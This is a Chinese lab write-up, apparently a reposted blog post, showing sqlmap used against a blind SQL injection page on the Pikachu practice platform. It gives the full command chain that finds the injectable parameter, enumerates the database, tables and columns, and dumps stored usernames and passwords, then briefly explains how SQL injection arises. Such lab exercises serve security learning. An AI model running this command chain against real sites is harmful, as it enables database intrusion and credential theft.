2021-11-09 sqlmap使用

本文章仅供学习和参考!

欢迎交流~

一、实验题目:sqlmap使用

        通过sqlmap对漏洞平台的盲注(base on boolean)进行实验

二、环境准备:

1. 漏洞练习平台:https://buuoj.cn/

2. kali虚拟机

三、实验过程:

1. 通过pikachu平台的盲注(base on boolian)进行实验:

2.  复制链接,进入kali进行sqlmap测试:

命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询"

结果如下:

 

 发现注入点,参数是name,后面是sqlmap使用的payload

3. 使用 --current-db语句查看当前的库名:

命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询"  --current-db

结果如下:

 当前数据库名为pikachu

4. 用-D指定数据库名,用--tables获取表名:

命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询"  -D pikachu --tables

结果如下:

5.  用-T指定表名,用--columns获取列名:

命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询"  -D pikachu -T users --columns

结果如下:

6.  用-C指定列名,用--dump获取表中的用户名和密码:

命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询"  -D pikachu -T users -C username,password --dump

结果如下:

获取到了3个用户的明文密码。

四、实验总结:

1.SQL注入原理:

        程序命令没能对用户输入的内容能作出正确的处理,导致执行非预期命令或访问数据,即接受的相关参数未经正确处理直接带入数据库进行查询操作。

2.SQL注入漏洞的产生满足两个条件:

(1)参数用户可控,即前段传给后端的参数内容是用户可以控制的

(2)参数带入数据库查询,即传入的参数拼接到SQL语句并带入数据库查询

猜你喜欢

转载自blog.csdn.net/m0_58489132/article/details/121238140
今日推荐